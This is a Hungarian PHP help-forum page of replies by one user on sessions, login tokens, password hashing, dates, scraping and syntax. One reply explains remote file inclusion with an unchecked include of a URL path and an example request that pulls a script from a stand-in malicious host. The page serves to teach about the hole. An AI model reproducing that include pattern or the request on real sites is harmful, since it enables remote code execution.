- Véroxigénszintet is mér a Honor Band 5
- Vodafone-ra áttért Digi Mobilosok
- Google szolgáltatás (GMS) Huawei telefonokra
- Alcor e-Pad - van még remény
- Ennyibe kerülnek a Huawei Pura modellek Európában
- Telekom mobilszolgáltatások
- Samsung Galaxy S24 - nos, Exynos
- Samsung Galaxy S23 és S23+ - ami belül van, az számít igazán
- Xiaomi 13T és 13T Pro - nincs tétlenkedés
- Ezek a OnePlus 12 és 12R európai árai
Hirdetés
-
Az Apple megszerezné a klubvilágbajnokság közvetítési jogait
ph A vállalat ezért irgalmatlan pénzt fizetne a FIFA-nak, és ezzel rajzolná át az online streaming platformok háborújában a frontvonalakat.
-
Toyota Corolla Touring Sport 2.0 teszt és az autóipar
lo Némi autóipari kitekintés után egy középkategóriás autót mutatok be, ami az észszerűség műhelyében készül.
-
Mindent megtudtunk az új Nokia 3210-ről
ma Részletes képek, specifikációk és euróban megadott ár is van a legendás modell újraélesztett verziójához.
Új hozzászólás Aktív témák
-
disy68
aktív tag
válasz norby10 #16159 üzenetére
A php a szerveren fut, tehát php-vel a szervert lehet nyomtatásra bírni. Ha ez a cél, akkor a php-vel meg lehet hívni külső programot, ami ezt intézi az exec() / shell_exec() függvények segítségével.
Ha a felhasználó nyomtatna, ahhoz javascript (ezzel csak a nyomtatási ablak jön elő), vagy a böngésző nyomtatás menüpontja és egy jól formázott oldal (css) használható, vagy php-vel generálsz egy pdf-et (mPDF) és a felhasználó azt tudja kinyomtatni - ez a legbiztosabb módszer arra, hogy mindenhol ugyanúgy nézzen ki a nyomtatandó oldal.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz kemkriszt98 #16195 üzenetére
Az lehet inkább a probléma, hogy a php cli (command line interface) nincs jól bekonfigolva a szolgáltatónál, így nem biztos, hogy betöltődnek a megfelelő kiegészítők (nálad a mysql).
Próbáld ki ilyesmi formában futtatni: php -c /path/to/php.ini /path/to/script.php
A php.ini fájl helyét a phpinfo() megmondja neked.“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
-
disy68
aktív tag
válasz PumpkinSeed #16447 üzenetére
Az MVC pattern, ahogy a neve is indikálja külön kezeli az adatot (model), megjelenítést (view), és a kettőt összefogó irányítást (control) - csak így egyszerűen megfogalmazva. Ez által adott, hogy ezeket a részeket külön kezelve, jellemzően külön fájlokként fogod megoldani - sok esetben ez több ezer külön fájlt is jelenthet. Persze itt számít az mvc keretrendszer működése, felépítése stb. (lehet, hogy a keretrendszer alapja áll csupán pár ezer kisebb fájlból és a számodra ténylegesen készítendő fájlok száma ehhez képest elenyésző).
A php / html keverése sokszor alapvetően adja magát, azonban egy template-kezelő működhet úgy is, hogy magában a template fájlban se html, se php kód nem fog szerepelni - persze ezt is php dolgozza fel, ami behelyettesíti a htmlt a template alapján.
MVC esetében, fontos, hogy a szerepek elkülönüljenek. Ez jelenti azt, hogy a controllereid és modelleid jellemzően nem fognak html kódot tartalmazni, csak php-t, míg a view több, mint valószínű, hogy fog mindkettőt. A lényeg, hogy az adott megvalósítás struktúrája fogja meghatározni, hogy a fájlok mit fognak tartalmazni.
--
Amennyiben kevered a html és php kódokat érdemes figyelni az olvashatóságra (a kód karbantartása miatt).pl. e helyett:
<?php
$menupontok = array('egy','kettő','három','négy');
echo '<ul>';
foreach($menupontok as $menupont){
echo "<li>$menupont</li>";
}
echo '</ul>';
?>könnyebben átlátható ez (alternative syntax használattal):
<?php $menupontok = array('egy','kettő','három','négy'); ?>
<ul>
<?php foreach($menupontok as $menupont): ?>
<li>
<?php echo $menupont ?>
</li>
<?php endforeach; ?>
<ul>
?>--
Egy függvény visszatérési értéke pedig egy darab "érték". Ez az "érték" tartalmát tekintve lehet nagyjából bármi. Ha neked egy darab szöveges érték kell, akkor egy string, ha kettő vagy több, akkor lehet array, ami tartalmazza a két vagy több stringet. Ha valami bonyolultabb struktúra kell, akkor lehet tömbök, tömbje, vagy akár egy objektum is, ami tövábbi logikát is tartalmazhat (metódusok).De először a nyelvi alapokat kell mindenképpen megismerni, és utána érdemes nézelődni a különböző programozási paradigmák, programtervezési eljárások és egyéb best-practice megoldások felé.
[ Szerkesztve ]
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz PumpkinSeed #16468 üzenetére
Ebben:
$target= "var/www/img_share/uploaded_img/";nem inkább /var az útvonal eleje? A perjel nélkül a script helyétől keresné a var mappát és a többit.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz Sk8erPeter #16470 üzenetére
Persze ha már hordozható kódról van szó meg útvonalakról, akkor érdemes megemlíteni a php előredefiniált DIRECTORY_SEPARATOR konstansát, ami az adott rendszeren az érvényes elválasztó - még ha a "/" nem is okoz gondot mindenhol.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz DNReNTi #16504 üzenetére
Amit én használok biztonságos megoldásként az kicsit bővíti az általad írt 3. megoldást (sajnos az eredeti cikket nem találom):
- Van egy "sorozat" token
- Van egy egyszeri tokenMindkét token egy hash érték, amiket úgy generálunk, hogy egyedi értékek legyenek - ne forduljon elő, hogy két felhasználónak azonos értéket adunk. A tokeneket a felhasználó egyedi azonosítójával együtt egy külön tábla tartalmazza - itt tárolhatunk egyéb információkat is a bejelentkezésekhez, pl. ip, user agent, stb.
Amikor a felhasználó bejelentkezik, akkor kap egy-egy tokent. A "sorozat" token nem fog változni a bejelentkezés alatt, viszont az egyszeri token minden lekéréskor változik - ezt természetesen figyelembe kell venni a tervezés során, hiszen minden oldallekérés adatbázisművelettel is párosul, kis felhasználószám esetén nincs jelentősége.
Egy felhasználóhoz több sorozat + egyszeri token rendelhető (egy "sorozat" token egy egyszeri tokennel áll párban), így lehet a felhasználó több kliensen egyszerre bejelentkezve. Bejelentkezéskor a felhasználóhoz tartozó tokenek törlésével/nem törlésével oldhatjuk meg a "nem lépek ki más böngészőből" itt a ph-n is használatos funkciót.
Amennyiben valaki megszerzi a két értéket, akkor addig tud ügyködni a nevünkben, amíg mi nem frissítjük az oldalt -> amikor ellenőrizzük a 2 tokent, akkor a sorozat ugyanaz, de az egyszeri nem, ezért kiléptetjük a felhasználót.
A két tokent és a felhasználó egyedi azonosítóját tárolhatjuk session és/vagy cookie értékként (akár az egészet egy stringként), elsődlegesen a session változót figyelembe véve. Amennyiben nincs session csak cookie, akkor kezelhetjük úgy a felhasználót, hogy nem biztonságosan van bejelentkezve és egyes funkciókat (pl. jelszóváltoztatás) csak a jelszó újbóli megadása után teszünk elérhetővé. Ha a felhasználó bejelöli a "bejelentkezve maradok" pipát, akkor tároljuk az értékeket cookie-val és session-nel, ha nem akkor csak session-nel.
Remélem sikerült érthetően megfogalmaznom a lényeget.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
Jelszó tároláshoz érdemes egy biztonságosnak tekintett hash algoritmust használni sóval (ami biztos, hogy az md5 és sha1 elavultnak tekinthető). Nem szabad abban bízni, hogy az általunk használt eljárás nem ismert (security through obscurity).
Természetesen plusz funkcióként használhatunk captcha-t (többszöri próbálkozás ellen), de ez nem mentesít a megfelelő tárolástól.
Ennek azért elég nagy az irodalma érdemes rendesen utánajárni, ha valóban fontos a biztonság (algoritmusok, só, iterációk, ellenőrzés).
Egy jó cikk a témában. Van példakód is pár nyelven.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz peterfihugo #16747 üzenetére
Az a projekt ruby on rails-t használ.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz don_peter #16762 üzenetére
Csináltam még egyet, ami jobban illeszkedik a problémádhoz. Az egyes blokkok (karakterek) sorértékeit adja ki hexa értékként (blokkonként 8 érték). Ha ebbe az irányba mész tovább akkor az adatküldéshez nézz utána az ajaxnak. A példa erősen a jquery-re épül amúgy.
szerk:
Még annyit, hogy szerintem is gondold át a dolgot, lehet jobban jársz, ha az első példa szerint a "teli" pixelek koordinátáit küldöd a teljes "kijelzőről" és azt dolgozod fel c-ben - a blokkokat pedig csak formázással különíted el.[ Szerkesztve ]
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz honda 1993 #16784 üzenetére
Debian vonalon általában a /var/www az alapértelmezett root könyvtár a webszervernek. A webszerver konfig fájljai a /etc/apache2, míg a php-hez tartozók a /etc/php5 alatt vannak.
szerk:
mysql-hez pedig fejlesztői környezet esetén nyugodtan felrakhatsz egy phpmyadmint pl ez alapján[ Szerkesztve ]
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz honda 1993 #16786 üzenetére
Alapvetően valami ilyesmi a felépítés minden linux esetében. Egy kis összefoglaló róla.
Nyitsz egy fájlkezelőt ott van valami olyasmi, hogy computer / file system (számítógép / rendszer) ami a "/" gyökér könyvtárba visz. Ha úgy jobban tetszik, parancssorból is indíthatod a fájlkezelőt pl. ubuntu esetében nautilus / -> ezzel is a gyökér könyvtárba kerülsz.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz Brett001 #16836 üzenetére
Üdv, van pár hasznos dátum/idő kezelő függvény php-ben.
A kódrészletben unix timestamp-pel munkálkodunk. A date() segítségével ezt átalakíthatod a saját formátumodra:
$stop = date('YmdHis', $list[0]);
$start=date('YmdHis', $list[0]-(86400*2));Az strtotime() is egy hasznos függvény, ez szöveges dátum/időt alakít át timestamp-pé. Az alábbi rész nem tudom kell-e neked egyáltalán, mert ebből az látszik, hogy az adatbázisban lévő timestamp-ek utc szerint vannak tárolva, így az időeltolódás szerint ad hozzá még egy vagy két órát:
if (date("I",time())==0) { //ezzel az aktuális dátumot vizsgálja, hogy nyári/téli időszámítás van
$time[$i]=(strtotime($list['datetime'])+3600)*1000;
}
else {
$time[$i]=(strtotime($list['datetime'])+7200)*1000;
}Ha nálad a jó időértékek kerülnek tárolásra, akkor elég ennyi ide:
$time[$i] = strtotime($list['datetime']);
Ha az strtotime() nem eszi meg a formátumot (elvileg a fentivel nem lesz gond), akkor használhatod még a strptime() függvényt is.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz Adamis #16858 üzenetére
Php-vel más oldalról html részeket kiszedni nekem a PHP Simple DOM Parser vált be. Nézd át a manualt, hogy miket/miként tud.
Az oldalon belül megnézed hogyan tudsz hivatkozni az elemre, ami neked kell és kiszeded a fenti osztály segítségével (az újabb böngészőkben van "fejlesztői felület"; F12-vel hozható elő, itt könnyen el lehet igazodni a html kódban, selectorok között).
Arra figyelj, hogy az eredeti megjelenítés (css) nem feltétlen lesz alkalmazva ezekre az elemekre, viszont a css-eket is ki tudod szedni.
Érdemes lehet a kiszedett html kódot (vagy amit generálsz belőle) külön menteni (cache), hogy ne kérje le újra minden lapbetöltésnél a távoli oldalt (lassítja a betöltést, pláne, ha nem elérhető az adott oldal éppen).
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz #68216320 #16887 üzenetére
Ez a kiszolgáló beállításától függ, milyen hash függvényt használ hány bit/karakter:
128-bit digest (MD5)
4 bits/char: 32 char SID
5 bits/char: 26 char SID
6 bits/char: 22 char SID160-bit digest (SHA-1)
4 bits/char: 40 char SID
5 bits/char: 32 char SID
6 bits/char: 27 char SIDA vonatkozó beállítások: session.hash_function és session.hash_bits_per_character
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz #68216320 #17208 üzenetére
Ez már erősen a javascript topicba való, ha további kérdés lesz, azt inkább oda:
Az első a DOM manipuláció. Ajánlani tudom ennek kezelésére (és sok egyéb feladathoz is) a jQuery használatát. Nagyon jól lehet vele a DOM elemeket kezelni a CSS-ből is ismerős selectorok segítségével. Így el tudod érni az általad kívánt elemeket (form-ot pl. id vagy class alapján) és azt csinálsz vele, amit szeretnél.
A második a DOM események felhasználása. Az eseményekhez különböző (akár több) eseménykezelőt köthetünk, amiben az esemény hatására csinálunk dolgokat (pl. egy select változás eseményére megváltoztatjuk a formunkat).
És egy kis szemléltető form változtatásra jQuery segítségével.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz Des1gnR #17361 üzenetére
Ha a link generálás alatt azt érted, hogy http://oldal.hu/akarmi?honnan=Bp&hova=Kukutyin jellegűt, akkor nem fog menni, mert nem GET-tel várja az oldal az adatokat, hanem POST-tal (ez látszik a pastebin-es kódból).
Ott lehet látni mit is kapott a teszt során (14. sor):
utirany=oda&ind_stype=megallo&honnan=Budapest%2C+N%E9pliget+aut%F3busz-p%E1lyaudvar&honnan_settlement_id=2958&honnan_ls_id=16646&honnan_zoom=9&honnan_eovx=653877.875&honnan_eovy=236801.78125&honnan_site_code=0&erk_stype=megallo&hova=Szeged%2C+aut%F3busz-%E1llom%E1s&hova_settlement_id=3336&hova_ls_id=14611&hova_zoom=9&hova_eovx=734307.9&hova_eovy=101980.695&EycTaSNj=AJcJtFAqw&hova_site_code=0&keresztul_stype=megallo&keresztul=&keresztul_settlement_id=&keresztul_ls_id=&keresztul_zoom=&keresztul_eovx=&keresztul_eovy=&keresztul_site_code=&datum=2015-04-23&naptipus=0&napszak=0&hour=13&min=14&target=0&rendezes=0&maxwalk=700&var=0&maxvar=240&maxatszallas=5&filtering=0&preferencia=1&helyi=No&talalatok=1&odavissza=0&ext_settings=none&submitted=1Tehát neked egy POSt kérést kéne indítanod, aminek a válaszát már föl tudod dolgozni.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
Amennyiben csináltál egy html fájlt és duplakikkel megnyitottad, akkor ott a firefox nem fogja betölteni a js/css-t, mivel azok így vannak megadva (//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js), ami annyit tesz, hogy veszi az aktuális protokollt (http/https) és azzal töltené be (https://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js). Ebben az esetben ez viszont ez lesz (file://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js), amit természetesen nem fog találni.
Ha átírod a hivatkozásokat (http://...) kezdetűre, vagy webszerver alól nézed, akkor működni fog.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz sirtomi #18145 üzenetére
Egyik ami lehet, hogy a php fájlod kódolása utf8, de nem bom nélkül, ami azt eredményezné, hogy a fájl elejére bekerül a byte order mark (0xEF,0xBB,0xBF), ami által nem lesz értelmezhető a kép.
Ha ez nem hozna eredményt, szedd ki a headert és nézd meg van-e hibaüzenet (rakd bele a ini_set("display_errors", "1"); error_reporting(E_ALL); sorokat).
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
-
disy68
aktív tag
válasz Mr Dini #18435 üzenetére
Amennyire tudom ez így nem megoldható. A szerver a http hívás fogadása előtt tcp protokoll használatával végez egy handshake-et a klienssel, amibe nem fogsz tudni belenyúlni, így nem tudnád a kliens IP-jét átadni a szerver IP-je helyett.
A megoldás az lenne, hogy kliens oldalra költözne az url feloldó, de az meg a böngészős biztonsági korlátok miatt nem menne Javascript-tel, max böngészőkiegészítő formájában.
Amúgy a CloudZilla mellett van még sok oldal, ha ez az IP korlát ilyen egyedi, akkor hagyd csak ki ;-)
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz adatfalo #18457 üzenetére
Nos, mit is csinál a kód?
Első körben állít magának egy limitet, ez még nem bonyolult.
Ez után lekér valahonnan, valahogy (get_the_excerpt() metódus) tartalmat, amit feldarabol szóközönként a limitnek megfelelően egy listába:$excerpt = explode(' ', get_the_excerpt(), $limit);
Ez azt jelenti, hogy lesz a limit szerinti n-1 db szövegdarab, plusz egy, ami tartalmazza a maradék szöveget.
Nézünk egy lista méretet, ha limitnél vagy fölötte vagyunk, az utolsó elemet a maradék szöveggel eldobjuk (array_pop($excerpt)), majd összefűzzük és a végére biggyesztünk még 3 pöttyöt, ha kevesebb a méret szimplán összefűzzük. A végén a regex-et így első ránézésre passzolnám, de arra tippelek, hogy a lekért tartalomban van valami tagolás, amit kiszed vele.Tehát ennyi kód alapján én azt mondom, hogy nézd meg mit ad vissza pontosan a get_the_excerpt() metódus és onnan lehet tovább indulni, mert attól függ, hogyan kell módosítani az explode-implode logikát.
[ Szerkesztve ]
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz adatfalo #18461 üzenetére
Pedig az első link szól igazán a te problémádról. A get_the_excerpt() alapból egy lecsupaszított szöveget ad vissza, neked viszont kellenének a html tag-ek is. Erre ad megoldást a post, hogy kiszeded a wp_trim_excerpt filtert, stb.
A második linken lévő plugin meg megoldja neked az egészet, ahogy nézem. Lehet jobb is ebbe az irányba indulni, mint a core forrást patkolni, ami elveszhet egy frissítés során. Annyira azért nem vagyok otthon WP fronton, ha ez az utóbbi nem igaz, majd kijavít valaki.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
Alapvetően én is. A felhasználóhoz tartozó minden adat menne adatbázisba és tokenekkel oldanám meg, ha saját megoldás kéne. Tokent tárolnám sessionben vagy/és sütiben, ha hosszabb lejáratú belépés is kéne és adatbázisból csak a felhasználóhoz tartozó tokent kéne törölni a kijelentkezéshez.
@(#18571) DS39
Itt tudsz nézelődni, milyen lehetőségek vannak session-nel kapcsolatban.
session_start() után lekéred a session_id()-vel a session azonosítót és mented adatbázisba. Az alapértelmezett session kezelő-vel két lehetőséged van azonosító alapján törölni egy session-t:
1, session_save_path() megadja hol vannak tárolva a session fájlok, amik alapból sess_[session_id] szerű néven tárolódnak, ha van hozzá jogosultság, ezeket tudod szimplán törölni. Ez a megoldás nem igazán az ajánlott kategória.
2, A másik lehetőség, hogy eltárolod a saját session azonosítódat, indítasz egy sessiont a törölni kívánt azonosítóval, törlöd a sessiont, majd újból indítasz egy sessiont a saját azonosítóddal. Link.“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz bally4 #18604 üzenetére
Helló, szerintem első körben találd ki mi is lenne a cél, milyen felhasználási módok lehetnek (bejelentkezés/kijelentkezés, táblázat kiválasztása, táblázatba írás/módosítás/törlés).
Ez után nézz utána html+css-nek, rakj össze egy-két egyszerű felületet, amit használnál.
Ha ezek megvannak, akkor a következő kérdés az, hogyan és hol tárolnád az adatokat (én erre adatbázist ajánlanék). Ha mindez megvan, kezdj el foglalkozni az egyes részekkel (form kezelés php-ben, login, adatbázis műveletek).[ Szerkesztve ]
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
A csv tartalmazza a régi és az új fájlnevet. Ezt beolvasod egy tömbbe mindkét adatot megtartva (tömbben tömbök vagy esetleg objektumok). Végigmész a tömbön, csekkolod van-e adott régi fájlnévvel fájl, ha van, átnevezed az új névre.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz DiabloCorsa #18682 üzenetére
Helló, nem tudom aktuális-e még, csináltam egy demo-t php-vel. Lehet nem pont erre gondoltál pontosan, de indulásnak jó lesz.
Ami kérdéses volt az a képek, mert van az a tag href-je pl: b017ba99a8c12b75708e83bcdcba4bb0.jpg míg a kép src-je pl: b017ba99a8c12b75708e83bcdcba4bb0_350x350.jpg. Ha mindkét fájlnév külön képre mutat, akkor az attribútum átírásán és a kép átnevezésén kell még változtatni kicsit.
A html feldolgozáshoz használtam a PHP Simple HTML DOM Parser-t.
Parancssori futtatás javallott amúgy hozzá sok fájl esetén (esetleges timeout miatt).
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz MacCaine #18700 üzenetére
Miért, gondolom nem privát kulcsokat szeretnél megosztani? Nem attól lesz biztonságos az alkalmazás, hogy "nem tudja senki" mit használnak a háttérben, hanem a használt megoldás mennyire megbízható.
Indulásnak az OWASP lista jó lehet amúgy, ha biztonság a témakör.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz MacCaine #18705 üzenetére
Na így más a helyzet kicsit. Mi az elvárás? Csak a php-s alkalmazás problémáit megtalálni vagy az egész rendszerét? Ha az előbbi, akkor a korábbi link, illetve ez segíthet.
Ha az utóbbi, akkor bonyolódik a helyzet. Ha a webszerver apache, akkor a linkelt oldalon elindulhatsz. Ezen kívül persze lehet az oprendszer is gyenge pont és máris jóval terjedelmesebb a lehetséges sebezhetőségek száma. Nem is beszélve az esetleges egymásra épülő hibák kihasználásáról.“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz MacCaine #18710 üzenetére
RFI. Én olyannal találkoztam, hogy a routing volt megoldva ellenőrizetlen bemenetekkel szép url megoldásnál.
Pl: oldal.hu/aloldal
htaccess-el volt egy átirányítás
RewriteRule ^(.*)$ /index.php?path=$1 [NC,L,QSA]
ahol az aloldal került a $path változóba, majd ez lett include-olva.
include_once($path);
Szóval meghívva a oldal.hu/http://gonoszoldal.hu/meggonoszabb_script.php
Az kerül meghívásra, hogyinclude_once('http://gonoszoldal.hu/meggonoszabb_script.php
');“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz alpihun #18745 üzenetére
Windows alatt az ütemezett feladatok-kal meg tudod csinálni ugyanazt (és még többet is, de jelenleg ez mindegy), mint cronnal.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz alpihun #18757 üzenetére
Igen, pontosan. De amúgy php-vel is megoldhatod a dolgot, csinálsz egy infinite loop-ot, amiben nézel egy időt (pl. az óra növekedett-e az előzőhöz képest, ha óránként szeretnéd, hogy csináljon valamit) és ha igen megcsinálod, amit szeretnél és nincs szükség időzítőkre. Ezt amúgy csak parancssorból tudod majd futtatni.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz bucihost #18925 üzenetére
(#18927) fordfairlane válaszát annyival egészíteném ki, hogy használhatod a filemtime() parancsot is erre. Az első hozzászólásban pont erre van minta
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
Ha már szóba került, hogy a PHP miért is "szar". Nem mai írás, egy része már nem is valid, de szerintem érdemes elolvasni: PHP: a fractal of bad design
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz adika4444 #19049 üzenetére
A jelszón kívül nincs szükség mást titkosítottan tárolni, ami inkább fontos, hogy a kliens-szerver-adatbázis-etc kommunikáció titkosított csatornán menjen (ssl/tls). Valamint megnézheted az owasp top 10 listát a tipikus sebezhetőségekről.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz trisztan94 #19130 üzenetére
Használj inkább usort-ot:
function cmp($a, $b) {
return $a["total_rows"] - $b["total_rows"];
}
usort($arr, "cmp");“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz tacsko833 #19137 üzenetére
Dinamikus változók, az én ízlésemnek kicsit túl dinamikus
Szóval:
1. A $tarolo változó értéke lesz: "felhasznalo"$tarolo = "felhasznalo";
2. A $felhasznalo változó értéke lesz: "Anna" ($$tarolo ->$felhasznalo => "Anna")$$tarolo = "Anna";
És a fenti deklarációk esetében az alábbiak ekvilalensek:
$$tarolo === ${$tarolo} === ${'felhasznalo'} === $felhasznalo
És lehet ezt még tetőzni $$$tarolo, stb..
[ Szerkesztve ]
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz tacsko833 #19139 üzenetére
A $valami egy változó, ami futás során kerük kiértékelésre.
A $$valtozo szintén egy változó, aminek a neve a $valtozo értéke. A php feldolgozó addig oldja fel változóként a $ utáni szoveget, amíg el nem jut az első $ jelig, az így kapott eredmény egy változó lesz (függően a helyétől a kifejezésben deklaráció, ha eddig nem létezett, hivatkozás vagy érték).Egy szemléltető példa a lentebb linkelt php manual hozzászólásaiból:
<?php
//You can even add more Dollar Signs
$Bar = "a";
$Foo = "Bar";
$World = "Foo";
$Hello = "World";
$a = "Hello";
$a; //Returns Hello
$$a; //Returns World
$$$a; //Returns Foo
$$$$a; //Returns Bar
$$$$$a; //Returns a
$$$$$$a; //Returns Hello
$$$$$$$a; //Returns World
//... and so on ...//Miért? Mert a php megengedi bővebben
És persze erről jó tudni, de szerintem ilyesmi mágiákat nem igazán kifizetődő használni, mert nem túl átlátható.
“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
A dinamikus osztály példányosítás mellé a metódus hívást tenném még hozzá, mint hasznos feature, ezeket alkalmaztam már én is. Ezek mellé hasznos lehet még a class_exists() és a method_exists().
class Something {
public function someMethod() {
echo "something";
}
}
// máshol
$className = "Something";
$methodName = "someMethod";
if (class_exists($className)) {
$something = new $className();
if (method_exists($something, $methodName)) {
$something->$methodName(); // echo "something";
} else {
// do something when method does not exist
}
} else {
// do something when class does not exist
}“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
-
disy68
aktív tag
válasz radi8tor #19711 üzenetére
function areWeInIgnoredUrl() {
if (basename(DIR_APPLICATION) != 'catalog') return true;
$url = getFullURL();
$ignoredUrls = getIgnoredUrls();
foreach ($ignoredUrls as $ignoredUrl) {
$ignoredUrl = preg_replace("/^(https?:)?\/\//", "*", $ignoredUrl);
if ($ignoredUrl[0] != '!') {
if (preg_match('~' . str_replace(array('~', '#asterisk#'), array('\~', '.*'), preg_quote(str_replace('*', '#asterisk#', $ignoredUrl))) . '~', $url)) {
return false; // true;
}
} else {
if (!preg_match('~' . str_replace(array('~', '#asterisk#'), array('\~', '.*'), preg_quote(str_replace('*', '#asterisk#', substr($ignoredUrl, 1)))) . '~', $url)) {
return false; //true ;
}
}
}
return false;// true;
}szerintem a fentire gondolt
de lehet ott is negálni, ahol használodif (!areWeInIgnoredUrl()) {
//logic
}vagy beburkolod és negálod
function areWeInEnabledUrl() {
return !areWeInIgnoredUrl();
}“Yeah, well, you know, that’s just, like, your opinion, man.” — The Dude
Új hozzászólás Aktív témák
- Steam, GOG, Epic Store, Humble Store, Xbox PC Game Pass, Origin Access, uPlay+, Apple Arcade felhasználók barátságos izgulós topikja
- Házimozi belépő szinten
- BestBuy topik
- Gaming notebook topik
- AMD K6-III, és minden ami RETRO - Oldschool tuning
- Napelem
- Milyen processzort vegyek?
- Formula-1 humoros
- Elektromos rásegítésű kerékpárok
- Skoda, VW, Audi, Seat topik
- További aktív témák...
Állásajánlatok
Cég: Promenade Publishing House Kft.
Város: Budapest
Cég: Ozeki Kft.
Város: Debrecen